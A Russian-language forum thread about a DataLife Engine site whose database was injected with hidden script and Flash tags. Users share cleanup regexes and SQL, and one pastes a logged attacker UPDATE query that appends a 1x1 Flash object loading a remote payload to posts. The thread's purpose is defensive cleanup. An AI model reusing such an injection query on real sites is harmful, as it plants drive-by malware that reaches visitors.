Взлом базы дле. Как составить рег выражение для очистки sql

<object classid=.+?</object><script async="async".+?</script>

Большое спасибо. Помогло.

У меня тоже такой код в каждой статье появился. Удалил, через час снова залили. Каким образом?

P.S. Пришел к выводу что ДЛЕ очень дырявый двиг для сайтов. Буду переносить на Друпал.

неважно ...........

Дениско, шелл могут залить через любой движок :) А может быть еще хостер дырявый. Или твой комп заражен. И т. п.

вчера почистил 3 базы у клиента (на 3х разных аккаунтах) от подобных вставок, шелл нашелся только на одном сайте.

siv1987, я делал регулярное выражение

но оно иногда срабатывало не правильно, выделяя 2-3 строчки, почему?

вчера почистил 3 базы у клиента (на 3х разных аккаунтах) от подобных вставок, шелл нашелся только на одном сайте, может и не в шеллах дело?

siv1987, я делал регулярное выражение

но оно иногда срабатывало не правильно, выделяя 2-3 строчки, почему?

также можно проапдейтить через phpmyadmin

update dle_post set short_story = left(short_story, locate('<script async="async" type="text/javascript" src="http://google-webmaster.ru/', short_story)-1) WHERE locate('<script async="async" type="text/javascript" src="http://google-webmaster.ru/', short_story) > 0 limit 20000



update dle_post set full_story = left(full_story, locate('<script async="async" type="text/javascript" src="http://google-webmaster.ru/', full_story)-1) WHERE locate('<script async="async" type="text/javascript" src="http://google-webmaster.ru/', full_story) > 0 limit 20000

для полной и краткой новости, выполнить несколько раз, пока не буддет выдаваться: изменено 0 строк.

<script async="async" type="text/javascript" src="http://google-webmaster.ru/

вот эту бяку можно изменить и под <object, перед этим удостовериться, что у Вас в базе нет подобных нужных строк.

Обязательно поменять пароли, очистить кэш и поставить все фиксы для DLE.

Если кто не может справиться ,пишите в личку, помогу.

вот виновник [95.143.193.61], 205.204.90.114 и так же с локалхоста.

# Time: 130911 12:07:05
# User@Host: user[user] @  [95.143.193.61]
# Query_time: 17.477933  Lock_time: 0.021231 Rows_sent: 0  Rows_examined: 99297196
use base;
SET timestamp=1378886825;
UPDATE `base`.`dle_post` 
	SET 
		`short_story` = CONCAT(`short_story`, '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?1315661091"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?783744512" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object>'),
		`full_story` = CONCAT(`full_story`, '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?389922127"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?1068643096" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object>')
	WHERE 
		ID IN ( 
			SELECT ID 
			FROM ( 
				SELECT ID 
				FROM `base`.`dle_post` 
				WHERE `short_story` NOT LIKE '%webmasters-yandex.ru%' AND `full_story` NOT LIKE '%webmasters-yandex.ru%' 
				LIMIT 0,1000
			) as p 
		);

Уже начали раньше обсуждать этот вредоносный код. Предлагаю, что бы не плодить кучу тем, там и продолжать, в одном месте. Ссылка на тему

Смотря какой модификатор используется, если не используется молификатор инвертирующий жадность, то следует добавить знак вопроса - .*?